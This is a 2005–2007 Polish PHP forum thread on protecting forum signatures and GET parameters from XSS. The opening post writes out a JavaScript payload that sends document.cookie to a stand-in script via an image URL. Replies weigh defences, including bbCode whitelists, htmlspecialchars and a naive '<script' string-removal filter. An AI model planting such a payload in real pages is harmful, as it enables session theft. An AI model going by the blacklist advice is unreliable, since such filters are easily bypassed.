Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Jak zabezpieczyć np. podpis na forum, przed atakami XSS
TomASS
post
Post #1





Grupa: Zarejestrowani
Postów: 1 660
Pomógł: 13
Dołączył: 9.06.2004
Skąd: Wrocław i okolice

Ostrzeżenie: (0%)
-----


Tak sobie myślę, że w większości for jest podpis użytkownika. Niektóre fora nie filtrują podpisów (np. mogę dać w podpisie obrazek itp.) a jakby tak dać:

  1. <script type="text/javascript">
  2. var adr = 'zly_skrypt.php?ciasteczka=' + escape(document.cookie);
  3. var obr = '<IMG src="' + adr + '">';
  4. document.write(obr);


To się chyba nazywa atak XSS.

Jak się przed tym zabezpieczyć, aby np. akceptował obrazki, odnośniki itp. a nie akceptował "złych skryptów"?
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi (1 - 9)
Ociu
post
Post #2





Grupa: Moderatorzy
Postów: 1 566
Pomógł: 37
Dołączył: 14.05.2003
Skąd: Kraków




Daj tylko dozwolone znaki - bbCode.
Go to the top of the page
+Quote Post
marcini82
post
Post #3





Grupa: Zarejestrowani
Postów: 190
Pomógł: 1
Dołączył: 20.05.2005
Skąd: Poznań

Ostrzeżenie: (0%)
-----


Ja na poczatek wywalam (przy pomocy str_replace()) z danych od uzytkownika ciag '<script'
Go to the top of the page
+Quote Post
gladiror
post
Post #4





Grupa: Zarejestrowani
Postów: 398
Pomógł: 0
Dołączył: 13.07.2005
Skąd: Lublin

Ostrzeżenie: (0%)
-----


Wrócę może do tego tematu bo mam konkretne pytanie do tego posta - chodzi mi o to czy wystarczy walidować każdą otrzymaną zmienną funkcją htmlspecialchars, żeby nie można było wykonać kod np. java script albo wstawić kod php?(IMG:http://forum.php.pl/style_emoticons/default/questionmark.gif) Chodzi mi dokladnie o cos takiego. mamy strone:

index.php?roz=<a href="http://sotrna/zlosliwy_kod.php"></a>
  1. <?php
  2. Rozdzielczosc ekranu to:
  3. $roz = $_GET['height'];
  4. print($roz);
  5. ?>


Czy jak użyje htmlspecialchars($roz) to uchroni mnie to na 100% przed atakiem wpisania w zmienna złośliwego kodu??

Ten post edytował gladiror 10.07.2007, 19:38:42
Go to the top of the page
+Quote Post
LonelyKnight
post
Post #5





Grupa: Zarejestrowani
Postów: 240
Pomógł: 13
Dołączył: 1.06.2007
Skąd: Wrocław

Ostrzeżenie: (0%)
-----


Cytat(marcini82 @ 15.02.2006, 17:23:48 ) *
Ja na poczatek wywalam (przy pomocy str_replace()) z danych od uzytkownika ciag '<script'


A co jeśli zamiast '<script' będzie '< script'? (IMG:http://forum.php.pl/style_emoticons/default/Rkingsmiley.png) ...bo coś mi się wydaje, że przeglądarka to łyknie a str_replace() nie bardzo (IMG:http://forum.php.pl/style_emoticons/default/tongue.gif)

Cytat
Czy jak użyje htmlspecialchars($roz) to uchroni mnie to na 100% przed atakiem wpisania w zmienna złośliwego kodu??


htmlspecialchars() wyświetla znaki specjalne a nie ich interpretację. Po co wyświetlać np.

  1. <a href="jestemzly.php">zuuuło</a>


Jak takie coś Ci odpowiada to okej ale lepiej użyć strip_tags(), które usunie znaczniki php i html.

Rozwiązanie zaproponowane przez Ociu wydaję się najlepsze jednak proponowałbym jeszcze zwrócić uwagę na obecność "%" w przesyłanych danych. Czasami może zdarzyć się, że zapisując niektóre znaki w ASCII czy UNICODE uda się ominąć niektóre zabezpieczenia (IMG:http://forum.php.pl/style_emoticons/default/guitar.gif)
Go to the top of the page
+Quote Post
maxserwer
post
Post #6





Grupa: Zarejestrowani
Postów: 45
Pomógł: 0
Dołączył: 9.07.2007
Skąd: Piła

Ostrzeżenie: (10%)
X----


A mi się wydaje że tego przeglądarka może nie łyknąć (IMG:http://forum.php.pl/style_emoticons/default/tongue.gif) ale to jest tylko moja sugestia, spróbuj i napisz jak Ci poszło, liczę że pomimo moich myśli będzie wszystko (IMG:http://forum.php.pl/style_emoticons/default/guitar.gif)
Go to the top of the page
+Quote Post
gladiror
post
Post #7





Grupa: Zarejestrowani
Postów: 398
Pomógł: 0
Dołączył: 13.07.2005
Skąd: Lublin

Ostrzeżenie: (0%)
-----


użyłem htmlspecialchars i wyswietla mi wartość zmiennej -> zamiast > pokazuje &gt;

Kwestia jest teraz taka czy da sie to jakoś obejść czy już nie ma możliwości??

Ten post edytował gladiror 10.07.2007, 23:41:16
Go to the top of the page
+Quote Post
flv
post
Post #8





Grupa: Zarejestrowani
Postów: 130
Pomógł: 1
Dołączył: 29.06.2007

Ostrzeżenie: (0%)
-----


Przecież na tym polega działanie tej funkcji, zamiana 'niebezpiecznych' znaków na encje..
Go to the top of the page
+Quote Post
marcini82
post
Post #9





Grupa: Zarejestrowani
Postów: 190
Pomógł: 1
Dołączył: 20.05.2005
Skąd: Poznań

Ostrzeżenie: (0%)
-----


Cytat
A co jeśli zamiast '<script' będzie '< script'?

Przegladarka tego nie lyknie, sprawdz (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)

htmlspecialchars() tez jest w tym przypadku ok, bo wtedy '<script' po prostu sie wyswietli jak kazdy inny ciag.

Ten post edytował marcini82 11.07.2007, 06:48:32
Go to the top of the page
+Quote Post
LonelyKnight
post
Post #10





Grupa: Zarejestrowani
Postów: 240
Pomógł: 13
Dołączył: 1.06.2007
Skąd: Wrocław

Ostrzeżenie: (0%)
-----


Cytat(marcini82 @ 11.07.2007, 07:45:48 ) *
Przegladarka tego nie lyknie, sprawdz (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)


Fakt, trochę mnie fantazja poniosła (IMG:http://forum.php.pl/style_emoticons/default/laugh.gif)
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 20.12.2025 - 23:55